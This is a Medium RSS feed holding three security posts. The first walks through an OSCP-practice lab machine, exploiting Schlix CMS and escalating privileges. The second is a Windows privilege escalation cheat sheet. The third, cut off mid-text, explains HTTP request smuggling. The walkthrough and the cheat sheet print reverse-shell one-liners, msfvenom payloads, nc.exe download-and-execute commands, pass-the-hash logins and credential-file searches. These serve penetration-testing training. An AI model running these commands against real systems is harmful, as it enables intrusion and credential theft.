<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by MEGAZORD on Medium]]></title>
        <description><![CDATA[Stories by MEGAZORD on Medium]]></description>
        <link>https://medium.com/@MEGAZORDI?source=rss-b7015a9f9611------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*1VxFV17lhzPLxendL-7IbQ.jpeg</url>
            <title>Stories by MEGAZORD on Medium</title>
            <link>https://medium.com/@MEGAZORDI?source=rss-b7015a9f9611------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 11:21:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@MEGAZORDI/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[[OSCP Practice] Proving Grounds Play — Sams]]></title>
            <link>https://medium.com/@MEGAZORDI/oscp-practice-proving-grounds-play-sams-60b6dc5607ea?source=rss-b7015a9f9611------2</link>
            <guid isPermaLink="false">https://medium.com/p/60b6dc5607ea</guid>
            <category><![CDATA[cms]]></category>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[mysql]]></category>
            <dc:creator><![CDATA[MEGAZORD]]></dc:creator>
            <pubDate>Wed, 26 Nov 2025 20:58:52 GMT</pubDate>
            <atom:updated>2025-11-27T15:59:52.490Z</atom:updated>
            <content:encoded><![CDATA[<h3>[OSCP Practice] OffSec Proving Grounds Play — Sams</h3><p>OS: Windows<br>Difficulty: Easy<br>Community Rating: Very hard<br>Author: deathflash1411</p><h3>Introduction</h3><p>This Windows machine is officially classified as ‘Easy’, yet the community rates it as ‘Very Hard’. After working through it, I believe the difficulty spike comes mainly from the unusual requirement of setting up your own external MySQL database in order to complete the CMS installation. Despite that twist, the machine offers an interesting path of enumeration, exploitation, and privilege escalation worth documenting in this writeup.</p><h3>Nmap Output</h3><p>As always I started with a nmap scan to identify all of my attack surface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mO6CUckzbDkf0YnUnxIkXw.png" /></figure><h3>Enumeration</h3><p>Based on the initial Nmap output, I began enumeration by focusing on ports that could provide quick wins. My first attempt was with SMB, but both null sessions and the ‘guest’ account were disabled. Even then, I added the domain ‘Sams-PC’ to my /etc/hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rcEs0Y3s_eoisxwS2d2z6g.png" /></figure><p>The MySQL service explicitly denied access, so I decided to skip it for the moment. The plan was to revisit it once I obtained valid credentials that could authenticate locally.</p><p>The scan also did not identify any service running on port 7680, so I tried using nc for banner grabbing, but without success. I also tested access via browser and also got no success.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YH-UK1TGm4K0JwCLTFy5eA.png" /></figure><p>Moving on to the web application on port 80, I manually browsed the site but found nothing interesting, just static .html pages. Wappalyzer also failed to identify anything helpful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ht1qf1QZy93videzb082Uw.png" /></figure><p>The service on port 443 was simply a mirror of what was running on port 80.</p><p>At this point, I used wfuzz to identify directories and files, filtering out 404 codes and responses with consistent sizes (in this case, 9 bytes), which could produce false positives. The fuzzing returned some directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CwqLDGdUpuP3V08WdpIuXg.png" /></figure><p>The ‘/testing’ directory stood out. Given the name, it might contain an application under development and potentially be vulnerable. Although the initial result indicated it was empty (“0 L”), I fuzzed it again, this time filtering for 404 responses and pages with 9 words.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8ufrxaA1wY957Fyu25Mfuw.png" /></figure><p>The only result was the ‘/install’ directory. Accessing it revealed a CMS named Schlix, along with its version. With that information, I searched for public exploits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hZHbtq3qh7mAPopH_yGl9A.png" /></figure><p>Searchsploit returned an authenticated RCE exploit. Even without credentials, I reviewed the exploit to understand the vulnerability. It involved the following endpoint:</p><p>/admin/app/core.blockmanager</p><p>This endpoint allowed uploading a malicious .zip file and executing code directly on the OS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t33z3AX8NIFVjiN6PutOFw.png" /><figcaption><a href="https://www.exploit-db.com/exploits/49838">https://www.exploit-db.com/exploits/49838</a></figcaption></figure><p>When attempting to access the endpoint, I received:</p><p>‘There is no website configured at this address’</p><p>The same occurred when I tried ‘/admin’. Since I had previously found ‘/install’, it became clear that I needed to complete the CMS installation myself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IQuPWqYGd_KcWzCGiWazLQ.png" /></figure><p>After accepting the terms in step 1, I got stuck in step 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*92Qs8Cb1mwggbZwssNv__Q.png" /></figure><p>I had no database name, user, or password. I tried common default combinations such as:</p><p><strong>DB: schlix<br>User: root<br>Empty password</strong></p><p>Still no luck.</p><p>After searching and consulting the Proving Grounds Discord, the user ‘systemd’ gave a hint that it was necessary to set up a MySQL server on our attack machine so the target machine could connect to it and complete the installation.</p><p>Below are the step-by-step instructions for creating a MySQL database and how to connect to it:</p><h3>Setting Up Local MySQL for the Schlix Installation</h3><h4>1. Install MySQL/MariaDB</h4><ul><li>sudo apt install mariadb-server -y</li><li>sudo systemctl enable — now mariadb</li></ul><h4>2. Create database and user</h4><ul><li>sudo mysql</li></ul><blockquote>Paste into the SQL prompt:</blockquote><p>CREATE DATABASE schlixdb;<br>CREATE USER ‘schlix’@’%’ IDENTIFIED BY ‘schlixpassword’;<br>GRANT ALL PRIVILEGES ON schlixdb.* TO ‘schlix’@’%’;<br>FLUSH PRIVILEGES;</p><blockquote>Note. @’%’ allows external connections from the target machine.</blockquote><h4>3. Allow external MySQL connections</h4><blockquote>Edit the file /etc/mysql/mariadb.conf.d/50-server.cnf</blockquote><ul><li>sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf</li></ul><blockquote>Change:</blockquote><p>bind-address = 127.0.0.1</p><blockquote>To:</blockquote><p>bind-address = 0.0.0.0</p><blockquote>Restart MariaDB:</blockquote><ul><li>sudo systemctl restart mariadb</li></ul><h4>4. Allow port 3306 (if needed)</h4><ul><li>sudo iptables -A INPUT -p tcp — dport 3306 -j ACCEPT</li></ul><blockquote>If iptables doesn’t work, use the following command:</blockquote><ul><li>sudo ufw allow 3306</li></ul><h4>5. Confirm MySQL is running</h4><ul><li>sudo systemctl status mariadb</li><li>sudo ss -ltnp | grep 3306</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xF-k-ZrKpD3guBpBBrTfvw.png" /></figure><h3>Completing the SCHLIX Installation</h3><p>With the database ready, I returned to the installer on the target machine and used:</p><p><strong>Host: 192.168.45.28<br>Database: schlixdb<br>User: schlix<br>Password: schlixpassword</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3wkodemyjg6fxm999oWaZg.png" /></figure><p>In step 3, we need to provide a ‘Site Name’, so you can set any site name and for demonstration purposes, I used admin123 as the admin user password, which can also be anything you want.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xb8Z5oP0NMit_j6cUWlvbA.png" /></figure><p>In step 4, We need to provide a ‘Sample Site’ (I chose the third option because it was the only one that didn’t have written ‘demo’). After the installation completed, the installer provided the URL containing ‘/admin’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qjnDDvCUXxy_kHtZhkXDEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oSJRFSg9LE5Yo6SyG64edQ.png" /></figure><blockquote>You’ll need some patience here, due to latency between the target and our database server, the site was extremely slow.</blockquote><h3>Executing the RCE</h3><p>After logging into the admin panel, I revisited the exploit and followed the instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qTfXjROGv1a18kUz3ileWQ.png" /></figure><p>I first attempted a Base64 PowerShell one-liner but didn’t get a callback. So I used the following command to create a directory in which I had write permission, downloaded the nc.exe file from my machine using wget, and then ran it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5P4jFQJnylgoSXbKiTA2_g.png" /><figcaption>mkdir c:\pwn &amp;&amp; powershell.exe wget “<a href="http://192.168.45.208/nc.exe">http://192.168.45.208/nc.exe</a>&quot; -outfile “c:\pwn\nc.exe” &amp;&amp; c:\pwn\nc.exe -e cmd.exe 192.168.45.208 44</figcaption></figure><p>I zipped the file and uploaded it. I also set up a netcat to receive the reverse shell and a webserver to host nc.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*60qv24t-Nlb-3I7pBktMow.png" /><figcaption>zip -r combo_mailchimp-1_0_1.zip mailchimp/</figcaption></figure><p>After clicking the ‘mailchimp’ file, I finally received the shell as user ‘sam’ (delayed due to high latency).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mehkufdE2yR1tx35dBoBug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P-784g3qCJ-OuBd0D5rEbA.png" /><figcaption>sudo python3 -m http.server 80</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GoRFM5iAxsV7IsNSOsaaRA.png" /><figcaption>Reverse Shell</figcaption></figure><p>The local.txt file is located in the desktop directory of the user ‘sam’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F6B-3-aXc3WFf5s_B_p7tQ.png" /><figcaption>local.txt</figcaption></figure><h3>Post-Exploitation Enumeration</h3><p>I switched to PowerShell and started a manual enumeration using my Windows Privilege Escalation cheat sheet:</p><p><a href="https://medium.com/@MEGAZORDI/windows-privilege-escalation-cheat-sheet-e6272b6c9dfc">Windows Privilege Escalation Cheat Sheet</a></p><p>I located the Sam’s PowerShell history file with the command:</p><p>(Get-PSReadlineOption).HistorySavePath</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DYKPl-uWhLSOGpsvQg1N3Q.png" /></figure><p>Inside the referenced files, I found ‘properties.ini’, which revealed the XAMPP version. Since I had recently completed the Monster machine on Proving Grounds, I remembered a vulnerability affecting some XAMPP versions. However, CVE-2020–11107 did not apply to the version on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V9ZfaAhNt4pIvr0udVnYrQ.png" /><figcaption>Xampp Version 7.3.29–1</figcaption></figure><p>Continuing through the history, I noticed that ‘config.inc.php’ had been renamed to ‘config.inc.old.php’. Opening it revealed root MySQL credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*91KWh9EUZX--VrIImNfDUA.png" /><figcaption>config.inc.old.php</figcaption></figure><p>This was the perfect moment to explore MySQL locally. I ran the mysql.exe binary that is located in the xampp directory by default, but it did not work. The password was probably incorrect, or MySQL wasn’t actually configured, as we saw in the Schlix installation step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6bENRe8gCZVQvxT1_d2Mzw.png" /></figure><p>In my enumeration, I used the <strong>Get-LocalUser</strong> command and found only two active users on the machine: Sam and Administrator.<br>So, as usual, I tried password reuse, and it worked I obtained the Administrator password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mPfa4G-4uT68-hMVcL49FQ.png" /></figure><p>I used PsExec to get a privileged shell and successfully retrieved proof.txt. The proof.txt file is located in the desktop directory of the user ‘Administrator’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GBAnX7hdKHRLCDfSihmDdg.png" /><figcaption>proof.txt</figcaption></figure><h3>Conclusion</h3><p>Despite being labeled ‘Easy’, this machine delivered solid OffSec-style practice across key areas: network and web enumeration, manual exploitation, authenticated RCE, Windows privilege escalation, and post-exploitation analysis. The unexpected requirement to host my own MySQL instance was the main curveball, highlighting how misconfigurations can significantly change an attack path. Overall, it was a concise but valuable exercise that reinforced core skills like PowerShell usage, credential discovery, and adapting quickly when the obvious path doesn’t work.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=60b6dc5607ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Privilege Escalation Cheat Sheet]]></title>
            <link>https://medium.com/@MEGAZORDI/windows-privilege-escalation-cheat-sheet-e6272b6c9dfc?source=rss-b7015a9f9611------2</link>
            <guid isPermaLink="false">https://medium.com/p/e6272b6c9dfc</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[MEGAZORD]]></dc:creator>
            <pubDate>Wed, 15 Oct 2025 04:34:15 GMT</pubDate>
            <atom:updated>2025-11-05T17:11:09.757Z</atom:updated>
            <content:encoded><![CDATA[<p>Following my Linux write-up, I’m compiling detailed Privilege Escalation notes for Windows environments. Over time I’ve built a systematic methodology to hunt for escalation vectors and plan lateral movement on Windows hosts. If you have payloads, scripts, or techniques to add, please feel free to share. Collaborative improvements are encouraged.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*-hxUdBJxohk0BTKePV2Ecg.png" /></figure><h4>Commands to common Paths:</h4><p>Commands will always be above ‘Search for:’</p><h4>whoami /all</h4><p>Search for:</p><ul><li>Membership in privileged groups (Administrators, Domain Admins, Enterprise Admins)</li><li>Privileges that can lead to a exploitation as: SeImpersonatePrivilege, SeDebugPrivilege, SeBackupPrivilege</li></ul><h4>Get-History or (Get-PSReadlineOption).HistorySavePath</h4><p>Search for:</p><ul><li>Commands that include credentials, encoded blobs, or suspicious remote execution</li><li>Paths to scripts or tools used recently</li></ul><h4>net user or Get-LocalUser</h4><p>Search for:</p><ul><li>Disabled/expired accounts that are still enabled</li><li>Accounts with weak/blank passwords (where visible) or odd display names</li></ul><h4>net localgroup or Get-LocalGroup</h4><p>Search for:</p><ul><li>Unexpected members in Administrators or other privileged local groups</li><li>Service accounts added to high-privilege groups</li></ul><h4>systeminfo</h4><p>Search for:</p><ul><li>OS version / patch level indicating missing updates</li><li>Domain membership, hotfix list, boot time anomalies</li></ul><h4>c:\Users\USERHERE</h4><p>Search for:</p><ul><li>Desktop, Downloads, Documents with sensitive files (keys, tokens, exports)</li><li>.ssh, AppData\Roaming and AppData\Local entries containing credentials or config files</li><li>NTUSER.DAT presence / recent modification timestamps</li></ul><h4>c:\inetpub</h4><p>Search for:</p><ul><li>Web app config files (web.config) with connection strings or credentials</li><li>Backup files, upload folders, active web shells, writable directories under wwwroot</li></ul><h4>c:\Program Files &amp; c:\Program Files (x86)</h4><p>Search for:</p><ul><li>Manually installed or unsigned software, outdated versions, tools running as services</li><li>Executables installed by non-admins or with unusual timestamps</li></ul><h4>c:\ProgramData</h4><p>Search for:</p><ul><li>Shared app configs, keys, scheduled task outputs, installers left with credentials</li><li>Drop locations used by installers or third-party apps</li></ul><h4>Get-ChildItem -Path C:\Users\USERHERE\ -Include *.pdf,*.xls,*.xlsx,*.doc,*.docx,*.txt -File -Recurse -ErrorAction SilentlyContinue</h4><p>Search for:</p><ul><li>Documents containing credentials, secrets, API keys, tokens, private keys, connection strings</li></ul><h4>tasklist /svc or Get-Process</h4><p>Search for:</p><ul><li>Services/processes running under SYSTEM/LocalSystem that are unusual</li><li>Processes with suspicious parent/child relationships or running from non-standard paths</li></ul><h4>ipconfig /all</h4><p>Search for:</p><ul><li>Multiple NICs, unexpected DNS, WINS settings, proxy settings</li><li>Statically assigned IPs that differ from expected network ranges</li></ul><h4>route print</h4><p>Search for:</p><ul><li>Static routes or unusual route entries pointing traffic to unexpected hosts</li></ul><h4>netstat -ano</h4><p>Search for:</p><ul><li>Listening services bound to 0.0.0.0 or unexpected interfaces</li><li>Established connections to suspicious external IPs. (Note PID for correlation)</li></ul><h4>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated &amp; reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer</h4><p>Search for:</p><ul><li>AlwaysInstallElevated If you see ‘=1’ as result, it means it’s enabled (HKCU or HKLM). Installer privilege escalation risk</li></ul><h4>Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue</h4><p>Search for:</p><ul><li>KeePass databases (*.kdbx) found on disk (potential repository of credentials)</li></ul><h4>Get-ItemProperty “HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*” | select displayname &amp; Get-ItemProperty “HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*” | select displayname</h4><p>Search for:</p><ul><li>Installed software list: look for remote access tools, local credential stores, or suspicious utilities</li></ul><h4>DPAPI</h4><p>*Dpapi has many paths that we should look for, so I’ll leave them all at the end of the command topic*</p><p>Search for:</p><ul><li>Presence of DPAPI master key files in user profile (Roaming\Microsoft\Protect)</li><li>Backups or exported DPAPI blobs that could be targeted for offline decryption</li></ul><h4>C:\windows\System32\config\</h4><p>Search for:</p><ul><li>Existence of dumped NTLM hashes or SAM exports (indicates credential harvesting)</li><li>Copies of SYSTEM hive used to decrypt LSA secrets</li></ul><h4>DPAPI</h4><p>Typical locations are:</p><h4>Get-ChildItem C:\Users\USERHERE\AppData\Roaming\Microsoft\Protect\</h4><h4>Get-ChildItem C:\Users\USERHERE\AppData\Local\Microsoft\Protect\</h4><h4>Get-ChildItem -Force C:\Users\USERHERE\AppData\Roaming\Microsoft\Protect\</h4><h4>Get-ChildItem -Force C:\Users\USERHERE\AppData\Local\Microsoft\Protect\</h4><ul><li>A SID looks like S-1-5-21-1487982659-1829050783-2281216199-1107. Each SID is a folder containing the user’s DPAPI Master Key files, so you can cd or Set-Locationinto it.</li><li>Use -Force to ensure hidden/system files are listed. -Hidden can also be used, but -Force is more commonly used to reveal protected items.</li><li>Run PowerShell as the appropriate user or with sufficient privileges to access other users’ Protect folders.</li></ul><h3>Hidden Files</h3><p>You can find hidden files and folders with these commands bellow:</p><h4>dir /a /s /b</h4><p>This command above just work in CMD (recursive, show hidden/system, full paths).</p><h4>Get-ChildItem -Force</h4><p>This command above just work in PowerShell (show hidden/system items in current folder).</p><h4>Get-ChildItem -Force -Recurse -ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName</h4><p>This command above just work in PowerShell (recursive, return full paths; skip errors).</p><h4>Get-ChildItem -Force -Recurse -File -ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName</h4><p>This command above just work in PowerShell (recursive, files only, full paths).</p><h3>Stable Shell</h3><h4>Using msfvenom</h4><p>If you need to upload a shell, then create an .exe with msfvenom for more stability:</p><h4>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.1.30 LPORT=80 -a x64 --platform Windows -f exe -o shell.exe</h4><p>If this shell above becomes unstable use another payload like: windows/x64/shell_reverse_tcp</p><p>This shell is used in conjunction with metasploit:</p><h4>use exploit/multi/handler<br>set payload windows/x64/meterpreter/reverse_tcp<br>set LHOST tun0<br>set LPORT 9090</h4><h4>Using netcat</h4><p>You can also do it with netcat using the following command, but it may not be as stable as the msfvenom:</p><h4>sudo rlwrap nc -nvlp 9090</h4><p>rlwrap: Provides history and line editing functionality for interactive commands. It makes it easy to navigate and reuse previously typed commands, as well as allowing direct editing, similar to Bash.</p><p>If commands like whoami don’t work, use:</p><h4>set PATH=%PATH%;C:\windows\system32;C:\windows;C:\windows\System32\Wbem;C:\windows\System32\WindowsPowerShell\v1.0\;C:\windows\System32\OpenSSH\;C:\Program Files\dotnet\</h4><h3>Authentication Methods</h3><h4>cme mssql IP — local-auth -u ‘user’ -p ‘passwd’</h4><p>The above command authenticates against each machine’s local SAM. In other words, it tests whether that user/pass exists in the local SAM.</p><h4>impacket-psexec do.main/user:’passwd’<a href="http://twitter.com/IP">@IP</a></h4><p>The above command is for login specifying a domain user.</p><p>The authentication methods below attempt logins in the provided context (can be domain account or local account).</p><h4>cme mssql IP -u ‘user’ -p ‘passwd’</h4><h4>evil-winrm -i IP -u user -p pass</h4><h4>evil-winrm -i IP-u user-H HASH</h4><h4>impacket-psexec user@IP -hashes lm:nt</h4><h4>impacket-wmiexec user@IP -hashes lm:nt</h4><h4>impacket-mssql user@IP -hashes lm:nt</h4><h3>File Transfer</h3><p>Commands I use and prefer for file transfers:</p><h4>certutil -split -urlcache -f <a href="http://192.168.45.154/rev.exe">http://IP/rev.exe</a> C:\Users\USERHERE\rev.exe</h4><h4>iwr -uri <a href="http://192.168.119.3/myDLL.dll">http://IP/myDLL.dll</a> -Outfile myDLL.dll</h4><h4>curl <a href="http://192.168.45.207/nc.exe">http://IP/nc.exe</a> -O C:\Users\USERHERE\Desktop\nc.exe</h4><h4>scp YOURUSER@IP:/var/www/html/Procmon64.exe C:/Users/USERHERE/</h4><p>scp is access via ssh, so we will have to activate it in our kali</p><p>All these commands require that the server is active on the attacking machine, you can use any server (Python, php, etc.) I prefer to use python:</p><h4>python3 -m http.server 80</h4><h3>Enumerating Protections</h3><h4>Get-MpComputerStatus</h4><p>This command checks the status of Windows Defender</p><h4>Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections</h4><p>This command checks List AppLocker rules</p><h4>Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone</h4><p>This command tests whether a given file or program can be executed, according to AppLocker rules.</p><h4>sc query windefend</h4><p>Checks the status of the “WinDefend” service.</p><h4>sc queryex type=service</h4><p>Lists all registered services on the system (not drivers, only software services).</p><h4>netsh advfirewall firewall dump</h4><p>Exports (displays) the entire current configuration of the Windows Advanced Firewall, including all rules, profiles, and policies.</p><h4>netsh advfirewall firewall show rule name=all</h4><p>Displays all Windows Firewall rules (without needing to export everything like in the dump command).</p><h4>netsh firewall show state</h4><p>Shows the current state of the old firewall (before advfirewall). This command exists for compatibility but is deprecated in recent Windows versions.</p><h4>netsh firewall show config</h4><p>Displays the complete configuration of the legacy firewall (pre–Windows 7/Server 2008).</p><h3>Runas</h3><h4>cmdkey /list</h4><p>Displays the list of stored usernames and credentials. If &lt;targetname&gt; is not specified, all stored usernames and credentials are displayed.</p><h4>runas /user:administrator “c:\users\USERHERE\nc.exe IPKALI PORT -e c:\windows\system32\cmd.exe”</h4><p>Reverse Shell via runas</p><h4>C:\Windows\System32\runas.exe /user:ACCESS\Administrator /savecred “C:\Windows\System32\cmd.exe /c TYPE C:\Users\Administrator\Desktop\root.txt &gt; C:\Users\Security\root.txt”</h4><p>We use the stored key to copy the file in a directory inaccessible to the user to a directory in which he has permission (We can use other commands besides type and copy).</p><h3>PrintSpoofer</h3><h4>.\PrintSpoofer.exe -i -c cmd</h4><p>Runs the PrintSpoofer.exe program with options that attempt to perform an elevated/impersonation action (-i) and then launch a command shell (-c cmd).</p><h4>.\PrintSpoofer.exe -c “.\nc.exe IPKALI PORT -e cmd”</h4><p>Runs PrintSpoofer.exe with a command argument that starts nc.exe (netcat) to connect to the kali IP on the port you want and attach a command shell (-e cmd) to that connection.</p><h3>Windows PE Tools</h3><p>WinPEAS: <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS">https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS</a></p><p>Seatbelt: <a href="https://github.com/GhostPack/Seatbelt">https://github.com/GhostPack/Seatbelt</a></p><p>SharpUp: <a href="https://github.com/GhostPack/SharpUp">https://github.com/GhostPack/SharpUp</a></p><p>Watson: <a href="https://github.com/rasta-mouse/Watson">https://github.com/rasta-mouse/Watson</a></p><p>PowerShell Sherlock: <a href="https://github.com/rasta-mouse/Sherlock">https://github.com/rasta-mouse/Sherlock</a></p><p>PowerUp: <a href="https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc">https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc</a></p><p>JAWS: <a href="https://github.com/411Hall/JAWS">https://github.com/411Hall/JAWS</a></p><p>Windows Exploit Suggester: <a href="https://github.com/AonCyberLabs/Windows-Exploit-Suggester">https://github.com/AonCyberLabs/Windows-Exploit-Suggester</a></p><p>RunasCS: <a href="https://github.com/antonioCoco/RunasCs/releases">https://github.com/antonioCoco/RunasCs/releases</a> &amp; <a href="https://github.com/antonioCoco/RunasCs">https://github.com/antonioCoco/RunasCs</a></p><p>PrintSpoofer: <a href="https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe">https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e6272b6c9dfc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTTP/1.1 must die: How you can fooled two servers that didn’t speak the same language]]></title>
            <link>https://medium.com/@MEGAZORDI/http-1-1-must-die-how-you-can-fooled-two-servers-that-didnt-speak-the-same-language-20c3e31d2d0d?source=rss-b7015a9f9611------2</link>
            <guid isPermaLink="false">https://medium.com/p/20c3e31d2d0d</guid>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[http1]]></category>
            <category><![CDATA[http-request-smuggling]]></category>
            <category><![CDATA[request-smuggling]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[MEGAZORD]]></dc:creator>
            <pubDate>Sat, 16 Aug 2025 23:56:47 GMT</pubDate>
            <atom:updated>2025-08-17T13:39:20.848Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTTP/1.1 must die: How you can fool two servers that didn’t speak the same language.</h3><blockquote>How ambiguities between front-end and back-end servers make it possible to hack into systems through HTTP/1.1 request smuggling.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*LkmjmyKFvMSK-sbwOzztYA.png" /></figure><h3>A Real Scenario</h3><p><strong>In April 2025</strong>, researchers identified an <strong>HTTP Request Smuggling</strong> issue in <strong>Pingora</strong>, the new proxy framework developed and used by <strong>Cloudflare</strong>.</p><p>The bug (tracked as <strong>CVE-2025–4366</strong>) allowed attackers to manipulate HTTP headers in order to <strong>trick the caching system</strong>. This opened the door to:</p><ul><li><strong>Cache poisoning</strong>: injecting malicious content into the shared cache.</li><li><strong>URL exfiltration</strong>: leaking sensitive URLs via the Referer header, while redirecting users to attacker-controlled domains.</li></ul><p>Cloudflare reacted quickly:</p><ul><li><strong>April 12, 2025</strong> → disabled the vulnerable component.</li><li><strong>April 19, 2025</strong> → released a patch (<strong>Pingora v0.5.0+</strong>) and purged all affected cache.</li></ul><p>This incident demonstrates that even major web infrastructure providers are still exposed to <strong>Request Smuggling</strong>, reinforcing the need to phase out insecure <strong>HTTP/1.1 implementations</strong> and migrate towards safer protocols like <strong>HTTP/2 and HTTP/3</strong>.</p><h3>Let’s revisit the past…</h3><p>The Hypertext Transfer Protocol (aka HTTP) was conceived in 1989, officially standardized in 1996, and surprisingly still powers the web in 2025. It’s the backbone of web communication, enabling the exchange of information between clients (such as browsers) and servers. It defines how messages are formatted and transmitted, making it possible to fetch resources like web pages, images, and files.</p><p>Technology is volatile: frameworks come and go every year, yet we still rely on a protocol that’s nearly three decades old. Why? The answer is relatively simple:</p><p>1. <strong>Universal compatibility:</strong> HTTP/1.1 works everywhere. Every browser, server, proxy, and firewall understands it.</p><p>2. <strong>Interoperability with middleware:</strong> Many legacy proxies, load balancers, and firewalls only understand HTTP/1.1.</p><p>3. <strong>Migration costs:</strong> Fully switching to HTTP/2 (or HTTP/3) often requires changes to servers, CDNs, APIs, and even internal apps. Since HTTP/1.1 “still works” in many cases, companies keep support.</p><p>4. <strong>Fallback:</strong> Modern servers usually support HTTP/2 and HTTP/1.1 side by side. If the client doesn’t support HTTP/2, the connection automatically falls back to HTTP/1.1.</p><p>And it’s in this last point that the danger lies.</p><h3>Vulnerability Overview</h3><p>HTTP Request Smuggling is a technique to interfere with how a website processes sequences of HTTP requests received from one or more users. Request Smuggling vulnerabilities are typically critical in nature, allowing an attacker to bypass security controls, gain unauthorized access to sensitive data, and directly compromise other users of the application.</p><p>Request Smuggling is mostly associated with HTTP/1.1. However, websites that support HTTP/2 can also be vulnerable, depending on their back-end architecture.</p><p>In this post, we’ll focus only on HTTP/1.1.</p><h3>How HTTP communication works</h3><p>To understand how to exploit it, we first need to understand how HTTP communication works:</p><ol><li><strong>Connection Start</strong>: The client (browser) establishes a TCP connection with the server.</li><li><strong>Request</strong>: The client sends an HTTP request, specifying the desired resource and method (GET, POST, etc.).</li><li><strong>Response</strong>: The server processes the request and sends back an HTTP response.</li><li><strong>Connection Close (optional)</strong>: After exchanging messages, the connection may be closed or kept alive for future requests (persistent connection).</li></ol><p>Think of it like going to a fast-food restaurant:</p><ul><li><strong>Step 1:</strong> You walk up to the counter (the first connection with the server).</li><li><strong>Step 2:</strong> You place your order, e.g., <em>“I’d like a burger with lettuce, tomato, and cheese.”</em></li><li><strong>Step 3:</strong> The cashier processes your request and hands you the burger.</li><li><strong>Step 4:</strong> You either place another order or leave (close the connection).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*I7-Of-WfrsoVsA1GHfdHHA.gif" /><figcaption>HTTP 